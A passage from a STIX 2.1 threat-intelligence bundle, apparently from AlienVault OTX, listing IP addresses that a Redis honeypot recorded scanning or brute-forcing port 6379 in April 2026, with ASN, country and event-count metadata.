        "indicator--c0e2e5a6-2ea7-46c8-97e7-31bc80f0817f",
        "indicator--6887e0ab-b4ec-431a-a6e8-ea951f7d2a64",
        "indicator--d6aa10bf-f195-4f40-8007-d37fb877266e",
        "indicator--8c83027c-8e04-4c5c-8f56-3ef18c939281",
        "indicator--1854921d-9511-4b51-b96b-f8e5fe50a522",
        "indicator--5bee3480-2f9e-4d3f-97bc-6bf55d18afcb",
        "indicator--e2491c28-4350-4415-abad-cbcb1142b131",
        "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
        "indicator--7c1b0ac1-ca4b-44da-92cd-ac10d576ee88",
        "indicator--8ffea8cd-b594-4410-9708-2fa5dcdc61c6",
        "indicator--7aa220ce-dc30-4be8-b1e0-735f27a35457",
        "indicator--e5bea4fa-d8dd-4b68-a473-dceba64d0142",
        "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
        "indicator--a15187af-6852-49f4-8183-6133d405f97a",
        "indicator--1f1481c3-4d92-4dad-b95f-a4071d353bab",
        "indicator--5c699f96-9145-4e26-9a4e-62eda74aa65b",
        "indicator--e67d2914-a882-49fd-8416-23871ab82cfd",
        "indicator--632b18c7-a1b7-42ce-9144-b3d3c8d8b79a",
        "indicator--48d167d3-59b6-4be7-8b28-eaea1714a681",
        "indicator--57b46c15-ae84-4190-a092-43d276595eed",
        "indicator--4b559977-fe68-4bbd-9181-f0c09f735b33",
        "indicator--56115388-eaeb-4928-94e5-c70d8d0ff5fe",
        "indicator--3fd075a7-9ac8-4fc7-8a85-be1d33e855f8",
        "indicator--ac96b9cc-a302-4e05-b8e1-e8e9289fcb86",
        "indicator--79d2e27c-cb4a-4ecf-abd6-3a18f2e5ea88",
        "indicator--9a09aa7a-f8dd-41fe-a59d-8bc83242f6eb",
        "indicator--133bf4d5-b2f5-4f7c-913d-0dd8fcbc918d",
        "indicator--2f9bff07-4664-47a1-bc6f-df7cdd3db512",
        "indicator--adc0f49c-69da-4011-ac7f-fd2ae2dfb3a7",
        "indicator--f225a534-ccac-4ea8-860f-29b0ce5798b8",
        "indicator--7a6f3dca-39ed-4f0b-9200-bcf2177dbb4d",
        "indicator--028bdcbe-4213-43a2-b385-6677f0167768",
        "indicator--ea50ddb9-1aca-41d2-b1ac-7ae4f885825b",
        "indicator--9e2ffda0-edd5-4caf-8462-2045c61bfc88",
        "indicator--889d01bc-c7a5-4179-be83-7022715816be",
        "indicator--e85c3636-bb5e-4b4c-95f5-97dad93d0960",
        "indicator--7697e62e-a969-4209-8c8b-330ece866aaf",
        "indicator--fa464bf0-76eb-4828-8fe9-43ca5962ee96",
        "indicator--4bf08bdb-1621-4b16-b240-3a426d74694a",
        "indicator--d91cab75-0329-402c-93ab-ac2bf99b39a2",
        "indicator--0cbda9ce-65ef-4122-a636-74f97a0e2c98",
        "indicator--bd579c42-2e22-4d01-9baf-46ff83f8530a",
        "indicator--009e2141-16e6-44fe-9796-009cff9e6a99",
        "indicator--4b9f6293-ef7e-4dcc-b537-f78622ad46a5",
        "indicator--cf0c0e8f-b3d2-4c37-bb81-f1ec3ee3963a",
        "indicator--3296db63-ee92-429d-90a4-d21591eddbff",
        "indicator--53a0e6cd-2133-48f6-913b-cbd9afaa035a",
        "indicator--50b798b1-1619-4cec-a221-a0c70a270814",
        "indicator--6db9f820-1d50-496d-a1e9-2cb8ddf9f98b",
        "indicator--4a52f85a-873b-4a21-8f60-61ef5ceec466",
        "indicator--e426794b-be31-4f44-b6a9-8383a71838fb",
        "indicator--7b0bf389-5edd-49ed-91f5-6933d2f66b4b",
        "indicator--e9961e51-732b-419c-97f2-f69d67492e8b",
        "indicator--953dd0b3-7591-4c66-97f5-f50a1f3e9977",
        "indicator--a7f20c7f-1cc3-40a1-aa97-83b70899c697",
        "indicator--df47d08f-93fe-46bf-95c8-b3e5662d6457",
        "indicator--f8a58ca7-aaa4-48c6-a105-8c295e729bc0",
        "indicator--cedb9a46-af44-4d86-96f7-387df08add82",
        "indicator--1bfa346d-e27d-4498-b765-3dd9e078243e",
        "indicator--a8756b87-b2ab-4cfb-a63a-f928ebba57e7",
        "indicator--0577524d-9062-4fbe-82e2-0eb6a97851e7",
        "indicator--8f41ee61-0e1a-4c6a-af24-d0d590734615",
        "indicator--19f1ddd7-1d03-4e27-80df-9b88e47bd397",
        "indicator--d5a10eb8-9583-4924-b1c0-8e68d699e3e1",
        "indicator--d5ae1c45-fb84-4309-8281-1de5e5bb17db",
        "indicator--aaf4b383-8529-4a9e-8b32-23853686bf59",
        "indicator--48861b80-2455-458f-81ff-c2946c953bfd",
        "indicator--ba52f8a6-12ac-4343-8363-c85b781ce325",
        "indicator--c4c3c8ab-d7c3-4a8b-81a1-3cad946a1f8a",
        "indicator--769a4e9f-c632-43a8-9858-d7bc82ac805f",
        "indicator--ed938d28-aeb4-4795-abb9-d3fecb6e0bed",
        "indicator--bd7fecb6-c751-47ac-993e-311f34407e33",
        "indicator--35d4394b-a21f-4845-a563-5651d7a403f3",
        "indicator--406ccc66-5572-420f-a0e5-ef28ff6ca8a9",
        "indicator--f19c1adc-b193-40f4-8cfe-fee245966909",
        "indicator--63ba1474-f56e-485c-a625-44bdd82d6931",
        "indicator--129d9da4-2b5b-445a-966e-9646f930cd0f",
        "indicator--c9505ccd-2729-468c-b079-3e997ed5a662",
        "indicator--d72f5b2a-3791-4ee8-b09d-9ab49f2b8a63",
        "indicator--97e5626f-e1e8-4b42-b3c2-301f5a0523ae",
        "indicator--8de0191e-b400-432a-a946-44c3b3dfd499",
        "indicator--06599d2f-34fa-48dc-9a4b-fa1ddc9b9b41",
        "indicator--ecb38635-2ed4-4cc0-9561-e5a512cfbf07",
        "indicator--83044e5d-7667-417e-bc32-dedf80181634",
        "indicator--59e82764-3c26-4632-9135-8213d9ade5fa",
        "indicator--f05e2fa3-f5cf-4bdf-a1da-9f3d0d147089",
        "indicator--6ae49ffa-9a43-4da5-8539-f1ba4c750c43",
        "indicator--e84caf7a-5abf-43ed-9b29-1a5159bcfdc0",
        "indicator--facbf742-016b-494a-91d6-62e5a68b7fef",
        "indicator--b2f7d184-9fba-4bc3-b183-a80eeebdbf16",
        "indicator--4342f417-5b97-434c-9414-1cc23c1f5724",
        "indicator--63563ca8-48da-4d26-ac31-42185e8d58bc",
        "indicator--1156df52-d425-42ff-a3da-30ccc59c3bd9",
        "indicator--f82ad02b-c6cd-4fae-ae7c-54074221149b",
        "indicator--a6810fdd-e052-448c-8a7a-24cab92ef510",
        "indicator--c7a8c932-2c40-42e3-8594-6d6344c45ebe",
        "indicator--f2f65194-37da-47b3-b3d0-c4ce09c9c6ac",
        "indicator--339495d8-9d1f-4805-8a66-92167febc1c7",
        "indicator--f1f9789b-86a1-4a2c-bb31-146c3f650182",
        "indicator--02233260-9932-4056-b92c-67fcac37ef9a",
        "indicator--a10c8c6c-87be-4328-9c7c-dffdb722d5ca",
        "indicator--a74d0342-24ca-4af1-a5be-637797dd8680",
        "indicator--0f1c8d0a-b613-4477-87b8-a213099e9ddc",
        "indicator--daf9825f-0d30-45e6-ae29-f0ca92ad38b8",
        "indicator--0a077ab8-c852-42f2-bde0-0d7d98682d7c",
        "indicator--5f195537-bb6b-411a-a8ee-336cb5c9934f",
        "indicator--c71d066d-4bfe-46ea-adb9-4c9bfdad4da3",
        "indicator--1d7eade6-2d37-4bc7-8aba-9c97617cdc46",
        "indicator--2b64192b-beaf-419e-b2d6-2507a78b8aaf",
        "indicator--73ec225d-d2e1-4d4e-8cda-ac93d949ab90",
        "indicator--170790b2-a92f-4f8e-afbb-42a84bf8ac95",
        "indicator--ee69a1de-760c-45f3-bdf2-6b43ffdceb66",
        "indicator--e309fcd2-4f2b-48a3-9dd2-fe993c239561",
        "indicator--09ca6eb0-005b-473d-8e9f-618fd17e4f29",
        "indicator--0e099b7f-eb18-41dd-8365-dd040ba06cd6",
        "indicator--d30ae4df-6cd6-4824-bb18-c5b1c3668f0f",
        "indicator--fba49dc1-db70-4346-898c-af9730e7f319",
        "indicator--855aa1c9-bc7e-42ce-aa66-3b3f2b6de770",
        "indicator--dfb7b648-32bd-4dfa-80cf-ca98480f5822",
        "indicator--6b690ac7-b900-4580-b971-f7dc9efa1244",
        "indicator--9b790997-e19a-4cc0-84cb-2ccebe8abff5",
        "indicator--ff35dcc2-c1d2-4edb-94a8-2987f692ee5b",
        "indicator--f2c3b6b6-27bf-45a1-ad1f-cf7b69ba1973",
        "indicator--af438f70-61d8-4a01-9e1d-c4f1c2845e39",
        "indicator--27fad588-cd15-4687-8bb3-0ecde27cb314",
        "indicator--78bec432-1f33-489a-b26f-288526aaf820",
        "indicator--2c552eaf-6fc2-45a7-89c3-ba7082ebe0f0",
        "indicator--18e41dc5-c3ba-4d4e-8734-eeabe98087b9",
        "indicator--d60368d6-43a3-4a8f-9365-3bfd9283e61b",
        "indicator--54bdaf3e-54e9-40a9-81e4-0caf0322cdf2",
        "indicator--db1329b7-2e14-4a8e-a68a-c60ba5107d00",
        "indicator--ee420e7c-ae63-42ba-be77-03cbd0d72a41",
        "indicator--53af8a38-1d6f-40ce-ac52-6b4daa0b6b7e",
        "indicator--779633c8-45e4-4e67-9713-8d5a936eaa67",
        "indicator--ac2ddcb1-8ed8-4ed1-bd35-721dc1df1f4e",
        "indicator--ba01c725-d0a1-4de0-82b5-c2250ef80994",
        "indicator--aaf9f4f5-a2cd-4203-989a-8b9a09b3fc67",
        "indicator--52dc0fb7-3e34-490e-834e-e93750ec2305",
        "indicator--15a64419-a669-4da4-8083-ea0e0bb8d747",
        "indicator--105d46dc-bd50-434e-87f3-ede68bf3a17d",
        "indicator--63c111ef-b02a-4612-ad11-80af4680535f",
        "indicator--36ea5911-b6dd-4424-b365-5db0d5db5b45",
        "indicator--17f0557e-2305-4677-929d-05b8df41024a",
        "indicator--b82eeb3c-3c77-4392-be38-9b6944ecff11",
        "indicator--c6bc5106-18d3-4100-ac7e-9daa04e71f9d",
        "indicator--09ef3c5f-7b47-49eb-b5a2-b6d0dac5c770",
        "indicator--0d9dbf91-7679-4834-9486-fd5cf765e5ef",
        "indicator--cb57943e-54af-407a-8662-f5a19e65edf7",
        "indicator--b6c0ded3-1936-42a3-9ccd-e8e86cd47330",
        "indicator--8faf1ea2-dd49-499e-b52b-9b42dc11928b",
        "indicator--f9f90496-ae5b-497c-a1f5-08e7e5be0257",
        "indicator--7a20adb6-ef70-4a85-a56f-9786111a5f91",
        "indicator--544a1772-58be-489f-9bf2-175deeea15ab",
        "indicator--a4489480-851c-4fad-9e58-dfc4d751664c",
        "indicator--6e896810-23b6-48de-9cca-d6b9c08244c8",
        "indicator--9461dce7-6c16-49a7-a61c-bea6ca7259c5",
        "indicator--b0a7f325-0e3b-4ec6-ac94-9df728747456",
        "indicator--09dbca89-20d3-4f61-a5e1-232a00c7c057",
        "indicator--ecc428ac-d123-4e6e-adda-be79481708e5",
        "indicator--e438ee9b-e6cf-4075-89f9-f19034858dc8",
        "indicator--6f28a15b-b93d-4dc2-b5a1-fa9e00477240",
        "indicator--a1435547-6c1a-4ed2-8754-526b8e4cc76b",
        "indicator--22843072-f513-4f20-b76e-c1160c4addd4",
        "indicator--8be1a5f3-8663-4053-90f8-e522d75d9ac2",
        "indicator--6e4e7c74-33dc-4c49-b721-578814cf40e0",
        "indicator--d8c73697-e7a1-4ac1-87df-3c728186c097",
        "indicator--bb6713e7-c527-4d54-89eb-0dbfb988eeae",
        "indicator--c2b4bd56-a475-4ec4-890c-91b364530322",
        "indicator--4df11e09-bfb6-44c2-8b3b-f5386a4fcac4",
        "indicator--7934b6c9-1b9c-4ab9-9bef-ce89d93c003c",
        "indicator--a0c9ed19-bc7d-4147-b287-4393c36f407f",
        "indicator--8661bdd4-1dfc-45eb-b11c-9366cc551127",
        "indicator--c79ccc47-77f8-4bac-af7b-de7ebd1a21ef",
        "indicator--f4e244ce-8d18-4189-9aa4-afb7fdda54e2",
        "indicator--f5b258f4-c6e0-44cb-be04-f9ddb6ca7703",
        "indicator--9a8d752e-efa5-4e1c-a761-7e6ec7b1926b",
        "indicator--8a6c461c-bd48-4ce4-82d5-a8e39c8432f6",
        "indicator--8e115bc9-59c3-4227-9db3-6dbbb13bf0fc",
        "indicator--496f9dab-99b8-4cf0-9954-0110da278cae",
        "indicator--1ff2d7da-eab7-483e-bcc5-49d26c168ea4",
        "indicator--d404c181-a921-4c5f-bbd0-98e69fe81c37",
        "indicator--4473480d-8de2-4fe6-a4a0-9767c3cb4b84",
        "indicator--df1d49b1-188e-42ef-9513-752710562a83",
        "indicator--47b386e2-1728-46e8-ac5a-da91f82cf2f6",
        "indicator--b75a991e-71a6-491d-9987-d4daac57671e",
        "indicator--38170475-23cc-4adf-ab71-c0371ab5a199",
        "indicator--9908dcdd-2f01-4fd8-8d46-15db03100939",
        "indicator--c1730c0b-da93-4fc1-ac97-aa442d216ebd",
        "indicator--2eb4ea58-51f6-48ff-84c6-6dd2e4f7fedb",
        "indicator--f58a421c-1665-45b7-bc5e-ca130caa4f4e",
        "indicator--3d18aa4d-5fea-4c8d-bbd1-36f2bba41521",
        "indicator--990b4f74-5dce-4a9c-b5f1-d93c13deecf9",
        "indicator--ba02cc10-be3c-4886-805f-4d27c165b165",
        "indicator--fdbc00f7-7c1b-46ce-bdc0-fc0ec5fcc9ff",
        "indicator--505dbc16-e405-4c01-a7a4-43616222b880",
        "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
        "indicator--6a05dcdd-5375-4502-909e-0f5470f3a366",
        "indicator--7a86fc75-9915-4413-91b1-37a0f0471fcc",
        "indicator--68b4317a-598e-4117-ba81-75a9e70f48c5",
        "indicator--dc1cfda4-cf40-4dfc-8c3b-107890605542",
        "indicator--d7a9fa4c-a302-4f1f-94c6-8ccb4d33a6b2",
        "indicator--4f12b882-2d4d-4921-9657-25fd66bd2594",
        "indicator--1b016ba0-6940-48bb-a256-44fe17940df1",
        "indicator--c05c20b5-df43-4233-804b-2ed6151a26a3",
        "indicator--2ed3ed07-c19e-40eb-8e47-0ce2d82ad92f",
        "indicator--9800cca9-be38-4854-a368-6f619b4c36a9",
        "indicator--c873daae-7116-46cb-a8a6-29c92416c456",
        "indicator--bb9c7736-155a-45ff-8b27-d8e95f01a0ad",
        "indicator--fd737788-346d-4b15-b716-552b695a1e62"
      ],
      "published": "2026-04-01T00:25:13.413Z",
      "spec_version": "2.1",
      "type": "report"
    },
    {
      "contact_information": "https://otx.alienvault.com/",
      "created": "2026-04-01T00:25:13.413Z",
      "id": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "identity_class": "organization",
      "modified": "2026-04-01T00:25:13.413Z",
      "name": "Open Threat Exchange",
      "spec_version": "2.1",
      "type": "identity"
    },
    {
      "created": "2026-04-01T00:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=1; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--43b07099-00fd-4dc6-87aa-64d38c2f6ae0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T00:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '118.212.121.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:25:14.000Z",
      "valid_until": "2026-05-03T00:25:10.000Z"
    },
    {
      "created": "2026-04-01T00:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--75b46f72-88f0-4b07-ab64-c3b14dadb840",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T00:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:25:14.000Z",
      "valid_until": "2026-05-03T00:25:10.000Z"
    },
    {
      "created": "2026-04-01T00:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--807ce508-98da-4f29-9dee-aead1c4e0882",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T00:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:25:14.000Z",
      "valid_until": "2026-05-03T00:25:10.000Z"
    },
    {
      "created": "2026-04-01T00:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=1; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--7e7e8f59-6637-45de-917c-bfc3563810aa",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T00:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '223.199.181.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T00:25:14.000Z",
      "valid_until": "2026-05-03T00:25:10.000Z"
    },
    {
      "created": "2026-04-01T01:25:52.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=CN; asn=4808; asn_org=China Unicom Beijing Province Network; redis_cmd_hits=0",
      "id": "indicator--d17a471f-2b45-48db-8648-3e85f305c0ce",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T01:25:52.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '223.223.179.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:25:52.000Z",
      "valid_until": "2026-05-03T01:25:09.000Z"
    },
    {
      "created": "2026-04-01T01:25:52.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--82373de7-e2c0-4221-816c-fe8fff62091a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T01:25:52.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '8.140.234.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:25:52.000Z",
      "valid_until": "2026-05-03T01:25:09.000Z"
    },
    {
      "created": "2026-04-01T01:25:52.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--16e4b43b-2f20-427b-9031-e527409eba19",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T01:25:52.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '98.90.43.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:25:52.000Z",
      "valid_until": "2026-05-03T01:25:09.000Z"
    },
    {
      "created": "2026-04-01T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--b8f229b7-6a23-4633-911b-a820b145bf0a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.50.17.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:25:10.000Z",
      "valid_until": "2026-05-03T02:25:09.000Z"
    },
    {
      "created": "2026-04-01T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--6bebe8ac-23e0-499d-8147-a8e877680661",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '116.153.32.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:25:10.000Z",
      "valid_until": "2026-05-03T02:25:09.000Z"
    },
    {
      "created": "2026-04-01T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--762dc765-7b7a-4901-968d-f828e6b4ef3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '223.76.108.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:25:10.000Z",
      "valid_until": "2026-05-03T02:25:09.000Z"
    },
    {
      "created": "2026-04-01T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=SG; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--2c63c497-4352-47bd-9462-b79572d72fdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '4.194.88.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:25:10.000Z",
      "valid_until": "2026-05-03T02:25:09.000Z"
    },
    {
      "created": "2026-04-01T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=MY; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--62bcf957-037b-4e88-a093-c0feee9e434d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.250.127.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:25:10.000Z",
      "valid_until": "2026-05-03T02:25:09.000Z"
    },
    {
      "created": "2026-04-01T03:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--33eca3b2-eb24-4320-9bfd-e4a0fb183b2a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T03:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.230.101.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:25:03.000Z",
      "valid_until": "2026-05-03T03:25:02.000Z"
    },
    {
      "created": "2026-04-01T03:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=100; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0; cmd=\"SSH-2.0-Go  \"",
      "id": "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T03:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.130.168.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:25:03.000Z",
      "valid_until": "2026-05-03T03:25:02.000Z"
    },
    {
      "created": "2026-04-01T03:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=SG; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--ab957f89-acec-4f34-9e0e-df7516aace68",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T03:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.236.24.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:25:03.000Z",
      "valid_until": "2026-05-03T03:25:02.000Z"
    },
    {
      "created": "2026-04-01T03:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=FR; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--f04f5c44-9d83-4dc2-8548-e0f2d72827b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T03:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:25:03.000Z",
      "valid_until": "2026-05-03T03:25:02.000Z"
    },
    {
      "created": "2026-04-01T03:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=FR; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--fd77d66a-6b60-47df-b6bb-5aeb606715f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T03:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:25:03.000Z",
      "valid_until": "2026-05-03T03:25:02.000Z"
    },
    {
      "created": "2026-04-01T03:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=FR; asn=213412; asn_org=ONYPHE SAS; redis_cmd_hits=0",
      "id": "indicator--1145077c-2517-4617-89f2-667b7d5a009e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T03:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:25:03.000Z",
      "valid_until": "2026-05-03T03:25:02.000Z"
    },
    {
      "created": "2026-04-01T04:25:19.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--519a06d3-ba5f-4873-ac7a-0e0582a9f0ad",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T04:25:19.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '115.190.189.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:25:19.000Z",
      "valid_until": "2026-05-03T04:25:18.000Z"
    },
    {
      "created": "2026-04-01T04:25:19.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--a37f9cdf-98a3-4c38-9ba7-b909aea5d2e8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T04:25:19.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
